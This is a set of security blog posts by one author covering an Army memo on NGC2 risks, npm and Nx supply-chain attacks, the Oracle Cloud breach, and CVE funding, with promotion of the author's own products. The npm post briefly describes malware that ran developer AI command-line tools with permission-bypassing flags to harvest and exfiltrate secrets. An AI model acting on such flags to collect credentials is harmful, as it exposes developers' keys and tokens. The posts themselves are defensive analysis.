A U.S. Army CTO memo calls Anduril–Palantir’s NGC2 communications platform “very high risk.”
Vulnerabilities: unrestricted access, missing logs, unvetted third-party apps, and hundreds of critical flaws.
Palantir’s stock drops 7 %; Anduril dismisses findings as outdated.
Meanwhile, Govini surpasses $100 M ARR with $150 M funding from Bain Capital.
The new arms race is not hardware; it is assurance.

Silicon Valley’s March on the Pentagon

For over half a century, America’s defence economy was dominated by industrial giants, Lockheed Martin, Boeing, and Northrop Grumman. Their reign was measured in steel, thrust and tonnage. But the twenty-first century introduced a new class of combatant: code.

Palantir began as an analytics engine for intelligence agencies, translating oceans of data into patterns of threat. Anduril followed as the hardware-agnostic platform marrying drones, sensors and AI decision loops into one mesh of command. Both firms embodied the “move fast” ideology of Silicon Valley, speed as a substitute for bureaucracy.

The Pentagon, fatigued by procurement inertia, welcomed the disruption. Billions flowed to agile software vendors promising digital dominance. Yet agility without auditability breeds fragility. And that fragility surfaced in the Army’s own words.

Inside the Memo: The Code Beneath the Uniform

The leaked memo, authored by Army CTO Gabriele Chiulli, outlines fundamental failures in the Next-Generation Command and Control (NGC2) prototype, a joint effort by Anduril, Palantir, Microsoft and others.

“We cannot control who sees what, we cannot see what users are doing, and we cannot verify that the software itself is secure.”

The findings are stark: users at varying clearance levels could access all data; activity logging was absent; several embedded applications had not undergone Army security assessment; one revealed twenty-five high-severity vulnerabilities, while others exceeded two hundred.

Translated into security language, the platform lacks role-based access control, integrity monitoring, and cryptographic segregation of data domains. Strategically, this means command blindness: an adversary breaching one node could move laterally without a trace.

In the lexicon of cyber operations, that is not “high risk.” It is mission failure waiting for confirmation.

Inside the Memo: The Code Beneath the Uniform

The leaked memo, authored by Army CTO Gabriele Chiulli, outlines fundamental failures in the Next-Generation Command and Control (NGC2) prototype — a joint effort by Anduril, Palantir, Microsoft and others.

“We cannot control who sees what, we cannot see what users are doing, and we cannot verify that the software itself is secure.”
-US Army Memo

In the lexicon of cyber operations, that is not “high risk.” It is a “mission failure waiting for confirmation”.

The Doctrine of Velocity

Anduril’s rebuttal was swift. The report, they claimed, represented “an outdated snapshot.” Palantir insisted that no vulnerabilities were found within its own platform.

Their responses echo a philosophy as old as the Valley itself: innovation first, audit later. The Army’s integration of Continuous Authority to Operate (cATO) sought to balance agility with accountability, allowing updates to roll out in days rather than months. Yet cATO is only as strong as the telemetry beneath it. Without continuous evidence, continuous authorisation becomes continuous exposure.

This is the paradox of modern defence tech: DevSecOps without DevGovernance. A battlefield network built for iteration risks treating soldiers as beta testers.

Govini’s Counteroffensive: Discipline over Demos

While Palantir’s valuation trembled, Govini’s ascended. The Arlington-based startup announced $100 million in annual recurring revenue and secured $150 million from Bain Capital. Its CEO, Tara Murphy Dougherty — herself a former Palantir executive — emphasised the company’s growth trajectory and its $900 million federal contract portfolio.

Govini’s software, Ark, is less glamorous than autonomous drones or digital fire-control systems. It maps the U.S. military’s supply chain, linking procurement, logistics and readiness. Where others promise speed, Govini preaches structure. It tracks materials, suppliers and vulnerabilities across lifecycle data — from the factory floor to the frontline.

If Anduril and Palantir forged the sword of rapid innovation, Govini is perfecting its edge. Precision, not pace, has become its competitive advantage. In a field addicted to disruption, Govini’s discipline feels almost radical.

Technical Reading: From Vulnerability to Vector

The NGC2 memo can be interpreted through a simple threat-modelling lens:

Privilege Creep → Data Exposure — Excessive permissions allow information spillage across clearance levels.
Third-Party Applications → Supply-Chain Compromise — External code introduces unassessed attack surfaces.
Absent Logging → Zero Forensics — Breaches remain undetected and untraceable.
Unverified Binaries → Persistent Backdoors — Unknown components enable long-term infiltration.

These patterns mirror civilian software ecosystems: typosquatted dependencies on npm, poisoned PyPI packages, unpatched container images. The military variant merely amplifies consequences; a compromised package here could redirect an artillery feed, not a webpage.

Modern defence systems must therefore adopt commercial best practice at military scale: Software Bills of Materials (SBOMs), continuous vulnerability correlation, maintainer-anomaly detection, and cryptographic provenance tracking.

Metadata-only validation, verifying artefacts without exposing source, is emerging as the new battlefield armour. Security must become declarative, measurable, and independent of developer promises.

Procurement and Policy: When Compliance Becomes Combat

The implications extend far beyond Anduril and Palantir. Procurement frameworks themselves require reform. For decades, contracts rewarded milestones — prototypes delivered, demos staged, systems deployed. Very few tied payment to verified security outcomes.

Future defence contracts must integrate technical evidence: SBOMs, audit trails, and automated compliance proofs. Continuous monitoring should be a contractual clause, not an afterthought. The Department of Defense’s push towards Zero Trust and CMMC v2 compliance is a start, but implementation must reach code level.

Governments cannot afford to purchase vulnerabilities wrapped in innovation rhetoric. The next generation of military contracting must buy assurance as deliberately as it buys ammunition.

Market Implications: Valuation Meets Validation

The markets reacted predictably: Palantir’s shares slid 7.5 %, while Govini’s valuation swelled with investor confidence. Yet beneath these fluctuations lies a structural shift.

Defence technology is transitioning from narrative-driven valuation to evidence-driven validation. The metric investors increasingly prize is not just recurring revenue but recurring reliability, the ability to prove resilience under audit.

Trust capital, once intangible, is becoming quantifiable. In the next wave of defence-tech funding, startups that embed assurance pipelines will attract the same enthusiasm once reserved for speed alone.

The Lessons of the Armour — Ten Principles for Digital Fortification

For practitioners like me (Old school), here are the Lessons learnt through the classic lens of Saltzer and Schroder.

No.	Modern Principle (Defence-Tech Context)	Saltzer & Schroeder Principle	Practical Interpretation in Modern Systems
1	Command DevSecOps – Governance must be embedded, not appended. Every deployment decision is a command decision.	Economy of Mechanism	Keep security mechanisms simple, auditable, and centrally enforced across CI/CD and mission environments.
2	Segment by Mission – Separate environments and privileges by operational need.	Least Privilege	Each actor, human or machine, receives the minimum access required for the mission window. Segmentation prevents lateral movement.
3	Log or Lose – No event should be untraceable.	Complete Mediation	Every access request and data flow must be logged and verified in real time. Enforce tamper-evident telemetry to maintain operational integrity.
4	Vet Third-Party Code – Treat every dependency as a potential adversary.	Open Design	Assume no obscurity. Transparency, reproducible builds and independent review are the only assurance that supply-chain code is safe.
5	Maintain Live SBOMs – Generate provenance at build and deployment.	Separation of Privilege	Independent verification of artefacts through cryptographic attestation ensures multiple checks before code reaches production.
6	Embed Rollback Paths – Every deployment must have a controlled retreat.	Fail-Safe Defaults	When uncertainty arises, systems must default to a known-safe state. Rollback or isolation preserves mission continuity.
7	Automate Anomaly Detection – Treat telemetry as perimeter.	Least Common Mechanism	Shared services such as APIs or pipelines should minimise trust overlap. Automated detectors isolate abnormal behaviour before propagation.
8	Demand Provenance – Trust only what can be verified cryptographically.	Psychological Acceptability	Verification should be effortless for operators. Provenance and signatures must integrate naturally into existing workflow tools.
9	Audit AI – Governance must evolve with autonomy.	Separation of Privilege and Economy of Mechanism	Multiple models or oversight nodes should validate AI decisions. Explainability should enhance, not complicate, assurance.
10	Measure After Assurance – Performance metrics follow proof of security, never precede it.	Least Privilege and Fail-Safe Defaults	Prioritise verifiable assurance before optimisation. Treat security evidence as a precondition for mission performance metrics.

The Sword and the Shield

The codebase has become the battlefield. Every unchecked commit, every unlogged transaction, carries kinetic consequence.

Anduril and Palantir forged the sword, algorithms that react faster than human cognition. But Govini, and others of its kind, remind us that the shield matters as much as the blade. In warfare, resilience is victory’s quiet architect.

The lesson is not that speed is dangerous, but that speed divorced from verification is indistinguishable from recklessness. The future of defence technology belongs to those who master both: the velocity to innovate and the discipline to ensure that innovation survives contact with reality.

In this new theatre of code and command, it is not the flash of the sword that defines power — it is the assurance of the armour that bears it.

References & Further Reading

Mike Stone, Reuters (3 Oct 2025) — “Anduril and Palantir battlefield communication system ‘very high risk,’ US Army memo says.”
Samantha Subin, CNBC (10 Oct 2025) — “Govini hits $100 M in annual recurring revenue with Bain Capital investment.”
NIST SP 800-218: Secure Software Development Framework (SSDF).
U.S. DoD Zero-Trust Strategy (2024).
MITRE ATT&CK for Defence Systems.

The Npm Breach: What It Reveals About Software Supply Chain Security

By Ramkumar Sundarakalatharan | September 9, 2025 | Comments 0 Comment

When a Single Phishing Click Becomes a Global Vulnerability – Meet the Supply Chain’s Weakest Link

1. Phishing-Driven Attack on npm Packages

On 8 September 2025, maintainer Qix fell victim to a highly convincing phishing email from [email protected], which led to unauthorised password reset and takeover of his account. Attackers injected malicious code into at least 18 widely used packages — including debug and chalk. These are foundational dependencies with around two billion combined weekly downloads. The injected malware intercepts cryptocurrency and Web3 transactions in users’ browsers, redirecting funds to attacker wallets without any visual cues.

2. “s1ngularity” Attack on Nx Build System

On 26 August 2025, attackers leveraged a compromised GitHub Actions workflow to publish malicious versions of Nx and its plugins to npm. These packages executed post-install scripts that scanned infected systems for SSH keys, GitHub/npm tokens, environment variables, cryptocurrency wallet files, and more. Even more disturbing, attackers weaponised developer-facing AI command-line tools—including Claude, Gemini, and Amazon’s Q—using flags like --yolo, --trust-all-tools to recursively harvest sensitive data, then exfiltrated it to public GitHub repositories named s1ngularity-repository…. The breach is estimated to have exposed 1,000+ developers, 20,000 files, dozens of cloud credentials, and hundreds of valid GitHub tokens, all within just four hours. (TechRadar apiiro.com Nx Truesec Dark Reading InfoWorld )

What These Incidents Reveal

Phishing remains the most potent weapon, even with 2FA in place.
Malware now exploits developer trust and AI tools—weaponising familiar assistants as reconnaissance agents.
Supply chain attacks escalate rapidly, giving defenders little time to react.

Observability as a Defensive Priority

These events demonstrate that traditional vulnerability scanning alone is insufficient. The new frontier is observability — being able to see what packages and scripts are doing in real time.

Examples of Tools and Approaches

OX Security
Provides SBOM (Software Bill of Materials) monitoring and CI/CD pipeline checks, helping detect suspicious post-install scripts and prevent compromised dependencies from flowing downstream. (OX Security)
Aikido Security
Focuses on runtime observability and system behaviour monitoring. Its approach is designed to catch unauthorised resource access or hidden execution paths that could indicate an active supply chain compromise. (Aikido )
Academic and open research (OSCAR)
Demonstrated high accuracy (F1 ≈ 0.95) in detecting malicious npm packages through behavioural metadata analysis. (arXiv)
Trace-AI
Complements the above approaches by using OpenTelemetry-powered tracing to monitor:
- Package installationsExecution of post-install scriptsAbnormal system calls and network operations
Trace-AI, like other observability tools, brings runtime context to the supply chain puzzle, helping teams detect anomalies early. (Trace-AI )

Why Observability Matters

Without Observability	With Observability Tools
Compromise discovered too late	Behavioural anomalies flagged in real time
Malware executes silently	Post-install scripts tracked and analysed
AI tool misuse invisible	Dangerous flags or recursive harvesting detected
Manual triage takes days	Automated alerts shorten incident response

Final Word

These npm breaches show us that trust in open source is no longer enough. Observability must become a primary defensive measure, not an afterthought.

Tools like OX Security, Akkido Security, Trace-AI, and academic advances such as OSCAR all point towards a more resilient future. The real challenge for security teams is to embed observability into everyday workflows before attackers exploit the next blind spot.

References and Further Reading

BleepingComputer: npm phishing leads to supply chain compromise (~2 billion downloads/week) (link)
The Register: Maintainer phishing and injected crypto-hijack malware (link)
Socket.dev: Compromised packages including debug and chalk (link)
TechRadar: “s1ngularity” Nx breach (link)
Apiiro: Overview of Nx breach and payloads (link)
Nx.dev: Official post-mortem (link)
TrueSec: Supply chain attack analysis (link)
Infoworld: Breach impact on enterprise developers (link)
OX Security: Observability for supply chain security (link)
arXiv (OSCAR): Malicious npm detection research (link)

Oracle Cloud Breach Is a Transitive Trust Timebomb : Here’s How to Defuse It

By Ramkumar Sundarakalatharan | July 15, 2025 | Comments 0 Comment

“One mispatched server in the cloud can ignite a wildfire of trust collapse across 140,000 tenants.”

1. The Context: Why This Matters

In March 2025, a breach at Oracle Cloud shook the enterprise SaaS world. A few hours after Rahul from CloudSEK first flagged signs of a possible compromise, I published an initial analysis titled Is Oracle Cloud Safe? Data Breach Allegations and What You Need to Do Now. That piece was an urgent response to a fast-moving situation, but this article is the reflective follow-up. Here, I break down not just the facts of what happened, but the deeper problem it reveals: the fragility of transitive trust in modern cloud ecosystems.

Threat actor rose87168 leaked nearly 6 million records tied to Oracle’s login infrastructure, affecting over 140,000 tenants. The source? A misconfigured legacy server still running an unpatched version of Oracle Access Manager (OAM) vulnerable to CVE‑2021‑35587.

Initially dismissed by Oracle as isolated and obsolete, the breach was later confirmed via datasets and a tampered page on the login domain itself, captured in archived snapshots. This breach was not just an Oracle problem. It was a supply chain problem. The moment authentication breaks upstream, every SaaS product, platform, and identity provider depending on it inherits the risk, often unknowingly.

Welcome to the age of transitive trust. shook the enterprise SaaS world. Threat actor rose87168 leaked nearly 6 million records tied to Oracle’s login infrastructure, affecting over 140,000 tenants. The source? A misconfigured legacy server still running an unpatched version of Oracle Access Manager (OAM) vulnerable to CVE‑2021‑35587.

Welcome to the age of transitive trust.

2. Anatomy of the Attack

Attack Vector

Exploited: CVE-2021-35587, a critical RCE in Oracle Access Manager.
Payload: Malformed XML allowed unauthenticated remote code execution.

Exploited Asset

Legacy Oracle Cloud Gen1 login endpoints still active (e.g., login.us2.oraclecloud.com).
These endpoints were supposedly decommissioned but remained publicly accessible.

Proof & Exfiltration

Uploaded artefact visible in Wayback Machine snapshots.
Datasets included:
- JKS files, encrypted SSO credentials, LDAP passwords
- Tenant metadata, PII, hashes of admin credentials

Validated by researchers from CloudSEK, ZenoX, and GoSecure.

3. How Was This Possible?

Infrastructure drift: Legacy systems like Gen1 login were never fully decommissioned.
Patch blindness: CVE‑2021‑35587 was disclosed in 2021 but remained exploitable.
Trust misplacement: Downstream services assumed the upstream IDP layer was hardened.
Lack of dependency mapping: Tenants had no visibility into Oracle’s internal infra state.

4. How This Could Have Been Prevented

Oracle’s Prevention Gaps
Vector	Preventive Control
Legacy exposure	Enforce infra retirement workflows. Remove public DNS entries for deprecated endpoints.
Patch gaps	Automate CVE patch enforcement across cloud services with SLA tracking.
IDP isolation	Decouple prod identity from test/staging legacy infra. Enforce strict perimeter controls.
What Clients Could Have Done
Risk Inherited	Mitigation Strategy
Blind transitive trust	Maintain a real-time trust graph between IDPs, SaaS apps, and their dependencies.
Credential overreach	Use scoped tokens, auto-expire shared secrets, enforce rotation.
Detection lag	Monitor downstream for leaked credentials or unusual login flows tied to upstream IDPs.

5. Your Response Plan for Upstream IDP Risk

Domain	Best Practices
Identity & Access	Enforce federated MFA, short-lived sessions, conditional access rules
Secrets Management	Store all secrets in a vault, rotate frequently, avoid static tokens
Vulnerability Hygiene	Integrate CVE scanners into CI/CD pipelines and runtime checks
Visibility & Auditing	Maintain structured logs of identity provider access and token usage
Trust Graph Mapping	Actively map third-party IDP integrations, revalidate quarterly

6. Tools That Help You Defuse Transitive Trust Risks

Tool	Mitigates	Use Case
CloudSEK XVigil	Credential leaks	Monitor for exposure of tokens, admin hashes, or internal credentials in open channels
Cortex Xpanse / Censys	Legacy infra exposure	Surface forgotten login domains and misconfigured IDP endpoints
OPA / OSQuery / Falco	Policy enforcement	Detect violations of login logic, elevated access, or fallback misroutes
Orca / Wiz	Runtime posture	Spot residual access paths and configuration drifts post-incident
Sigstore / Cosign	Supply chain integrity	Protect CI/CD artefacts but limited in identity-layer breach contexts
Vault (HashiCorp)	Secrets lifecycle	Automate token expiration, key rotation, and zero plaintext exposure
Zerberus.ai Trace-AI	Transitive trust, IDP visibility	Discover hidden dependencies in SaaS trust chains and enforce control validation

7. Lessons Learned

When I sat down to write this, these statements felt too obvious to be called lessons. Of course authentication is production infrastructure, any practitioner would agree. But then why do so few treat it that way? Why don’t we build failovers for our SSO? Why is trust still assumed, rather than validated?

These aren’t revelations. They’re reminders; hard-earned ones.

Transitive trust is NOT NEUTRAL, it’s a silent threat multiplier. It embeds risk invisibly into every integration.
Legacy infrastructure never retires itself. If it’s still reachable, it’s exploitable.
Authentication systems deserve production-level fault tolerance. Build them like you’d build your API or Payment Gateway.
Trust is not a diagram to revisit once a year; it must be observable, enforced, and continuously verified.

8. Making the Invisible Visible: Why We Built Zerberus

Transitive trust is invisible until it fails. Most teams don’t realise how many of their security guarantees hinge on external identity providers, third-party SaaS integrations, and cloud-native IAM misconfigurations.

At Zerberus, we set out to answer a hard question: What if you could see the trust relationships before they became a risk?

We map your entire trust graph, from identity providers and cloud resources to downstream tools and cross-SaaS entitlements.
We continuously verify the health and configuration of your identity and access layers, including:
- MFA enforcement
- Secret expiration windows
- IDP endpoint exposure
We bridge compliance and security by treating auth controls and access posture as observable artefacts, not static assumptions.

Your biggest security risk may not be inside your codebase, but outside your control plane. Zerberus is your lens into that blind spot.

Want to Know Who You’re Really Trusting?

Start your free Zerberus trial and discover the trust graph behind your SaaS stack—before someone else does.

JP Morgan’s Warning: Ignoring Security Could End Your SaaS Startup

By Ramkumar Sundarakalatharan | July 1, 2025 | Comments 0 Comment

The AI-driven SaaS boom, powered by code generation, agentic workflows and rapid orchestration layers, is producing 5-person teams with £10M+ in ARR. This breakneck scale and productivity is impressive, but it’s also hiding a dangerous truth: many of these startups are operating without a secure software supply chain. In most cases, these teams either lack the in-house expertise to truly understand the risks they are inheriting — or they have the intent, but not the tools, time, or resources to properly analyse, let alone mitigate, those threats. Security, while acknowledged in principle, becomes an afterthought in practice.

This is exactly the concern raised by Pat Opet, CISO of JP Morgan Chase, in an open letter addressed to their entire supplier ecosystem. He warned that most third-party vendors lack sufficient visibility into how their AI models function, how dependencies are managed, and how security is verified at the build level. In his words, organisations are deploying systems they “fundamentally don’t understand” — a sobering assessment from one of the world’s most systemically important financial institutions.

To paraphrase the message: enterprise buyers can no longer rely on assumed trust. Instead, they are demanding demonstrable assurance that:

Dependencies are known and continuously monitored
Model behaviours are documented and explainable
Security controls exist beyond the UI and extend into the build pipeline
Vendors can detect and respond to supply chain attacks in real time

In June 2025, JP Morgan’s CISO, Pat Opet, issued a public open letter warning third-party suppliers and technology vendors about their growing negligence in security. The message was clear — financial institutions are now treating supply chain risk as systemic. And if your SaaS startup sells to enterprise, you’re on notice.

The Enterprise View: Supply Chain Security Is Not Optional

JP Morgan’s letter wasn’t vague. It cited the following concerns:

78% of AI systems lack basic security protocols
Most vendors cannot explain how their AI models behave
Software vulnerabilities have tripled since 2023

The problem? Speed has consistently outpaced security.

This echoes warnings from security publications like Cybersecurity Dive and CSO Online, which describe SaaS tools as the soft underbelly of the enterprise stack — often over-permissioned, under-reviewed, and embedded deep in operational workflows.

How Did We Get Here?

The SaaS delivery model rewards speed and customer acquisition, not resilience. With low capital requirements, modern teams outsource infrastructure, embed GPT agents, and build workflows that abstract away complexity and visibility.

But abstraction is not control.

Most AI-native startups:

Pull dependencies from unvetted registries (npm, PyPI)
Push unscanned artefacts into CI/CD pipelines
Lack documented SBOMs or any provenance trace
Treat compliance as a checkbox, not a design constraint

Reco.ai’s analysis of this trend calls it out directly: “The industry is failing itself.”

JP Morgan’s Position Is a Signal, Not an Exception

When one of the world’s most risk-averse financial institutions spends $2B on AI security, slows its own deployments, and still goes public with a warning — it’s not posturing. It’s drawing a line.

The implication is that future vendor evaluations won’t just look for SOC 2 reports or ISO logos. Enterprises will want to know:

Can you explain your model decisions?
Do you have a verifiable SBOM?
Can you respond to a supply chain CVE within 24 hours?

This is not just for unicorns. It will affect every AI-integrated SaaS vendor in every enterprise buying cycle.

What Founders Need to Do — Today

If you’re a startup founder, here’s your checklist:

Inventory your dependencies — use SBOM tools like Syft or Trace-AI
Scan for vulnerabilities — Grype, Snyk, or GitHub Actions
Document AI model behaviours and data flows
Define incident response workflows for AI-specific attacks

This isn’t about slowing down. It’s about building a foundation that scales.

Final Thoughts: The Debt Is Real, and It’s Compounding

Security debt behaves like technical debt, except when it comes due, it can take down your company.

JP Morgan’s open letter has changed the conversation. Compliance is no longer a secondary concern for SaaS startups. It’s now a prerequisite for trust.

The startups that recognise this early and act on it will win the trust of regulators, customers, and partners. The rest may never make it past procurement.

References & Further Reading

InfoSec’s Big Problem: Too Much Hope in One Cyber Database

By Ramkumar Sundarakalatharan | April 16, 2025 | Comments 0 Comment

The Myth of a Single Cyber Superpower: Why Global Infosec Can’t Rely on One Nation’s Database

What the collapse of MITRE’s CVE funding reveals about fragility, sovereignty, and the silent geopolitics of vulnerability management

I. The Day the Coordination Engine Stalled

On April 16, 2025, MITRE’s CVE program—arguably the most critical coordination layer in global vulnerability management—lost its federal funding.

There was no press conference, no coordinated transition plan, no handover to an international body. Just a memo, and silence. As someone who’s worked in information security for two decades, I should have been surprised. I wasn’t. We’ve long been building on foundations we neither control nor fully understand.The CVE database isn’t just a spreadsheet of flaws. It is the lingua franca of cybersecurity. Without it, our systems don’t just become more vulnerable—they become incomparable.

II. From Backbone to Bottleneck

Since 1999, CVEs have given us a consistent, vendor-neutral way to identify and communicate about software vulnerabilities. Nearly every scanner, SBOM generator, security bulletin, bug bounty program, and regulatory framework references CVE IDs. The system enables prioritisation, automation, and coordinated disclosure.

But what happens when that language goes silent?

“We are flying blind in a threat-rich environment.”
— Jen Easterly, former Director of CISA (2025)

That threat blindness is not hypothetical. The National Vulnerability Database (NVD)—which depends on MITRE for CVE enumeration—has a backlog exceeding 10,000 unanalysed vulnerabilities. Some tools have begun timing out or flagging stale data. Security orchestration systems misclassify vulnerabilities or ignore them entirely because the CVE ID was never issued.

This is not a minor workflow inconvenience. It’s a collapse in shared context, and it hits software supply chains the hardest.

III. Three Moves That Signalled Systemic Retreat

While many are treating the CVE shutdown as an isolated budget cut, it is in fact the third move in a larger geopolitical shift:

January 2025: The Cyber Safety Review Board (CSRB) was disbanded—eliminating the U.S.’s central post-incident review mechanism.
March 2025: Offensive cyber operations against Russia were paused by the U.S. Department of Defense, halting active containment of APTs like Fancy Bear and Gamaredon.
April 2025: MITRE’s CVE funding expired—effectively unplugging the vulnerability coordination layer trusted worldwide.

This is not a partisan critique. These decisions were made under a democratically elected government. But their global consequences are disproportionate. And this is the crux of the issue: when the world depends on a single nation for its digital immune system, even routine political shifts create existential risks.

IV. Global Dependency and the Quiet Cost of Centralisation

MITRE’s CVE system was always open, but never shared. It was funded domestically, operated unilaterally, and yet adopted globally.

That arrangement worked well—until it didn’t.

There is a word for this in international relations: asymmetry. In tech, we often call it technical debt. Whatever we name it, the result is the same: everyone built around a single point of failure they didn’t own or influence.

“Integrate various sources of threat intelligence in addition to the various software vulnerability/weakness databases.”
— NSA, 2024

Even the NSA warned us not to over-index on CVE. But across industry, CVE/NVD remains hardcoded into compliance standards, vendor SLAs, and procurement language.

And as of this month, it’s… gone!

V. What Europe Sees That We Don’t Talk About

While the U.S. quietly pulled back, the European Union has been doing the opposite. Its Cyber Resilience Act (CRA) mandates that software vendors operating in the EU must maintain secure development practices, provide SBOMs, and handle vulnerability disclosures with rigour.

Unlike CVE, the CRA assumes no single vulnerability database will dominate. It emphasises process over platform, and mandates that organisations demonstrate control, not dependency.

This distinction matters.

If the CVE system was the shared fire alarm, the CRA is a fire drill—with decentralised protocols that work even if the main siren fails.

Europe, for all its bureaucratic delays, may have been right all along: resilience requires plurality.

VI. Lessons for the Infosec Community

At Zerberus, we anticipated this fracture. That’s why our ZSBOM™ platform was designed to pull vulnerability intelligence from multiple sources, including:

MITRE CVE/NVD (when available)
Google OSV
GitHub Security Advisories
Snyk and Sonatype databases
Internal threat feeds

This is not a plug; it’s a plea. Whether you use Zerberus or not, stop building your supply chain security around a single feed. Your tools, your teams, and your customers deserve more than monoculture.

VII. The Superpower Paradox

Here’s the uncomfortable truth:

When you’re the sole superpower, you don’t get to take a break.

The U.S. built the digital infrastructure the world relies on. CVE. DNS. NIST. Even the major cloud providers. But global dependency without shared governance leads to fragility.

And fragility, in cyberspace, gets exploited.

We must stop pretending that open-source equals open-governance, that centralisation equals efficiency, or that U.S. stability is guaranteed. The MITRE shutdown is not the end—but it should be a beginning.

A beginning of a post-unipolar cybersecurity infrastructure, where responsibility is distributed, resilience is engineered, and no single actor—however well-intentioned—is asked to carry the weight of the digital world.

References

Gatlan, S. (2025) ‘MITRE warns that funding for critical CVE program expires today’, BleepingComputer, 16 April. Available at: https://www.bleepingcomputer.com/news/security/mitre-warns-that-funding-for-critical-cve-program-expires-today/ (Accessed: 16 April 2025).
Easterly, J. (2025) ‘Statement on CVE defunding’, Vocal Media, 15 April. Available at: https://vocal.media/theSwamp/jen-easterly-on-cve-defunding (Accessed: 16 April 2025).
National Institute of Standards and Technology (NIST) (2025) NVD Dashboard. Available at: https://nvd.nist.gov/general/nvd-dashboard (Accessed: 16 April 2025).
The White House (2021) Executive Order on Improving the Nation’s Cybersecurity, 12 May. Available at: https://www.whitehouse.gov/briefing-room/presidential-actions/2021/05/12/executive-order-on-improving-the-nations-cybersecurity/ (Accessed: 16 April 2025).
U.S. National Security Agency (2024) Mitigating Software Supply Chain Risks. Available at: https://media.defense.gov/2024/Jan/30/2003370047/-1/-1/0/CSA-Mitigating-Software-Supply-Chain-Risks-2024.pdf (Accessed: 16 April 2025).
European Commission (2023) Proposal for a Regulation on Cyber Resilience Act. Available at: https://digital-strategy.ec.europa.eu/en/policies/cyber-resilience-act (Accessed: 16 April 2025).

Do You Know What’s in Your Supply Chain? The Case for Better Security

By Ramkumar Sundarakalatharan | December 2, 2024 | Comments 0 Comment

I recently read an interesting report by CyCognito on the top 3 vulnerabilities on third-party products and it sparked my interest to reexamine the supply chain risks in software engineering. This article is an attempt at that.

The Vulnerability Trifecta in Third-Party Products

The CyCognito report identifies three critical areas where third-party products introduce significant vulnerabilities:

Web Servers
These foundational systems host countless applications but are frequently exploited due to misconfigurations or outdated software. According to the report, 34% of severe security issues are tied to web server environments like Apache, NGINX, and Microsoft IIS. Vulnerabilities like directory traversal or improper access control can serve as gateways for attackers.
Cryptographic Protocols
Secure communication relies on cryptographic protocols like TLS and HTTPS. Yet, 15% of severe vulnerabilities target these mechanisms. For instance, misconfigurations, weak ciphers, or reliance on deprecated standards expose sensitive data, with inadequate encryption ranking second on OWASP’s Top 10 security threats.
Web Interfaces Handling PII
Applications that process PII—such as invoices or financial statements—are among the most sensitive assets. Alarmingly, only half of such interfaces are protected by Web Application Firewalls (WAFs), leaving them vulnerable to injection attacks, session hijacking, or data leakage.

Beyond Web Servers: The Hidden Dependency Risks

You control your software stack, but do you actually know what runs beneath those flashy Web/Application servers?

Drawing parallels from my previous article on PyPI and NPM vulnerabilities, it’s clear that open-source dependencies amplify these threats. Attackers exploit the very trust inherent in supply chains, introducing malicious packages or exploiting insecure libraries.

For example:

Attackers have embedded malware into popular NPM and PyPI packages, which are then unknowingly incorporated into enterprise-grade software.
Dependency confusion attacks exploit naming conventions to inject malicious packages into CI/CD pipelines.

These risks share a core vulnerability with traditional third-party systems: an opaque supply chain with minimal oversight. This is compounded by the ever-decreasing cycle-times for each software releases, giving little to no time for even great Software Engineering teams to doa decent audit and look into the dependency graph of the packages they are building their new, shiny/pointy things that is to transform the world.

Why Software Supply Chain Attacks Persist

As highlighted by Scientific Computing World, software supply chain attacks persist for several reasons:

Aggressive GTM Timelines: Most organisations now run quarterly or even monthly product roadmaps, so it is possible to launch a new SaaS product in a matter of days to weeks by leveraging other IaaS, PaaS or SaaS systems – in addition to any Libraries, frameworks and other constructs.
Exponential Complexity: With organisations relying on layers of third-party and fourth-party services, the attack surface expands exponentially.
Insufficient Oversight: Organisations often focus on securing their environments while neglecting the vendors and libraries they depend on.
Lagging Standards: The industry’s inability to enforce stringent security protocols across the supply chain leaves critical gaps.
Sophistication of Attacks: From SolarWinds to MOVEit, attackers continually evolve, targeting blind spots in detection and remediation frameworks.

Recommended Steps to Mitigate Supply Chain Threats

To address these vulnerabilities and build resilience, organizations can take the following actionable steps:

1. Map and Assess Dependencies

Use tools like Dependency-Track or Sonatype Nexus to map and analyze all third-party and open-source dependencies.
Regularly perform software composition analysis (SCA) to detect outdated or vulnerable components.

2. Implement Zero-Trust Architecture

Leverage Zero-Trust frameworks like NIST 800-207 to ensure strict authentication and access controls across all systems.
Minimize the privileges of third-party integrations and isolate sensitive data wherever possible.

3. Strengthen Vendor Management

Evaluate vendor security practices using frameworks like the NCSC’s Supply Chain Security Principles or the Open Trusted Technology Provider Standard (OTTPS).
Demand transparency through detailed Service Level Agreements (SLAs) and regular vendor audits.

4. Prioritize Secure Development and Deployment

Train your development teams to follow secure coding practices like those outlined in the OWASP Secure Coding Guidelines.
Incorporate tools like Snyk or Checkmarx to identify vulnerabilities during the software development lifecycle.

5. Enhance Monitoring and Incident Response

Deploy Web Application Firewalls (WAFs) such as AWS WAF or Cloudflare to protect web interfaces.
Establish a robust incident response plan using guidance from the MITRE ATT&CK Framework to ensure rapid containment and mitigation.

6. Foster Collaboration

Work with industry peers and organizations like the Cybersecurity and Infrastructure Security Agency (CISA) to share intelligence and best practices for supply chain security.
Collaborate with academic institutions and research groups for cutting-edge insights into emerging threats.

7. Schedule a No-Obligation Consultation Call with Yours Truly

Struggling with supply chain vulnerabilities or need tailored solutions for your unique challenges? I offer consultation services to work directly with your CTO, Principal Architect, or Security Leadership team to:

Assess your systems and identify key risks.
Recommend actionable, budget-friendly steps for mitigation and prevention.

With years of expertise in cybersecurity and compliance, I can help streamline your approach to supply chain security without breaking the bank. Let’s collaborate to make your operations secure and resilient.

Schedule Your Free Consultation Today

Building a Resilient Supply Chain

The UK’s National Cyber Security Centre (NCSC) principles for supply chain security provide a pragmatic roadmap for businesses. Here’s how to act:

Understand and Map Dependencies
Organizations should create a detailed map of all dependencies, including direct vendors and downstream providers, to identify potential weak links.
Adopt a Zero-Trust Framework
Treat every external connection as untrusted until verified, with continuous monitoring and access restrictions.
Mandate Secure Development Practices
Encourage or require vendors to implement secure coding standards, frequent vulnerability testing, and robust update mechanisms.
Regularly Audit Supply Chains
Establish a routine audit process to assess vendor security posture and adherence to compliance requirements.
Proactive Incident Response Planning
Prepare for the inevitable by maintaining a robust incident response plan that incorporates supply chain risks.

Final Thoughts

The threat of supply chain vulnerabilities is no longer hypothetical—it’s happening now. With reports like CyCognito’s, research into dependency management, and frameworks provided by trusted institutions, businesses have the tools to mitigate risks. However, this requires vigilance, collaboration, and a willingness to rethink traditional approaches to third-party management.

Organisations must act not only to safeguard their operations but also to preserve trust in an increasingly interconnected world.

Is your supply chain ready to withstand the next wave of attacks?

References and Further Reading

What’s your strategy for managing third-party risks? Share your thoughts in the comments!